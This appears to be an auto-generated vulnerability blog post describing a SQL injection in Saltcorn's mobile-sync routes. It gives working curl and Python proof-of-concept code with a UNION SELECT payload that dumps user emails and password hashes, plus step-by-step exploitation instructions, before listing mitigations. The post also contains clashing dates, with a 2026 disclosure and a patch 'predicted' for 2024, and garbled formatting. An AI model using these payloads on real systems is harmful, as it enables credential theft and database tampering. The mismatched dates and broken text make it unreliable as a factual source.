Listen to this Post
How the CVE Works
The vulnerability exists in Saltcorn’s mobile-sync routes (POST /sync/load_changes and POST /sync/deletes). The `getSyncRows()` function (lines 68–100 in packages/server/routes/sync.js) takes the `maxLoadedId` parameter directly from `req.body.syncInfos
` without any sanitization, <code>parseInt()</code>, or parameterized binding. This user-controlled value is interpolated into a SQL template literal passed to <code>db.query()</code>. Similarly, `getDelRows()` (lines 173–190) interpolates `syncTimestamp` and `syncFrom` from `req.body` into raw numeric expressions. The `db.sqlsanitize()` function is only used for identifiers (table/column names) and does not escape values. Any authenticated user with `role_id ≥ 80` (default “user” role) and read access to at least one table can inject arbitrary SQL. On PostgreSQL, this allows reading, writing, or DDL commands; on SQLite, multi-statement injection may be possible. Proof-of-concept scripts demonstrate dumping the entire `users` table (including bcrypt password hashes) and enumerating the database schema via a `UNION SELECT` payload in <code>maxLoadedId</code>. The `load_changes` route lacks any input validation beyond the `loggedIn` check.
<h2 style="color: blue;">DailyCVE Form</h2>
Platform: Saltcorn
Version: All vulnerable
Vulnerability: SQL injection
Severity: Critical
Date: 2026-04-16
<h2 style="color: blue;">Prediction: Patch 2024-05-15</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
[bash]
Extract CSRF token and exploit SQL injection
curl -c cookies.txt http://localhost:3000/auth/login
csrf=$(grep _sc_globalCsrf cookies.txt | cut -f7)
Payload to dump users
payload='999 UNION SELECT 1,email,password,role_id,id FROM users--'
curl -X POST http://localhost:3000/sync/load_changes \
-H "CSRF-Token: $csrf" -H "Content-Type: application/json" \
-b cookies.txt -d "{\"syncInfos\":{\"notes\":{\"maxLoadedId\":\"$payload\"}},\"loadUntil\":\"2030-01-01\"}"
Python PoC (as in )
import requests, re
s = requests.Session()
... login and CSRF extraction
payload = "999 UNION SELECT 1,email,password,role_id,id FROM users--"
body = {"syncInfos": {"notes": {"maxLoadedId": payload}}, "loadUntil": "2030-01-01"}
r = s.post(f"{BASE}/sync/load_changes", json=body, headers={"CSRF-Token": csrf})
print(r.json())
How Exploit:
1. Authenticate as any low-privilege user (role_id=80).
- Extract CSRF token from the login page and after login.
- Send POST to `/sync/load_changes` with `syncInfos[bash][maxLoadedId]` set to a SQL injection payload (e.g.,
999 UNION SELECT ...). - The server embeds the payload directly into the SQL query, returning arbitrary data from the database.
- Repeat to dump schema, admin hashes, or execute write operations (PostgreSQL).
Protection from this CVE
- Upgrade Saltcorn to a patched version (check vendor advisory).
- Apply input validation: use `parseInt()` or parameterized queries for `maxLoadedId` and timestamp fields.
- Replace string interpolation with prepared statements or an ORM that enforces binding.
- Restrict mobile-sync routes to trusted roles only (e.g., admin).
- Monitor logs for unusual `syncInfos` payloads containing
UNION,SELECT, orDROP.
Impact
- Confidentiality: Critical – full database read (user hashes, config secrets, all data).
- Integrity: Critical – on PostgreSQL, attacker can insert, update, delete, or drop tables.
- Availability: Critical – database corruption or table drops.
- Privilege Escalation: Admin password hashes exfiltrated → offline cracking grants admin access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

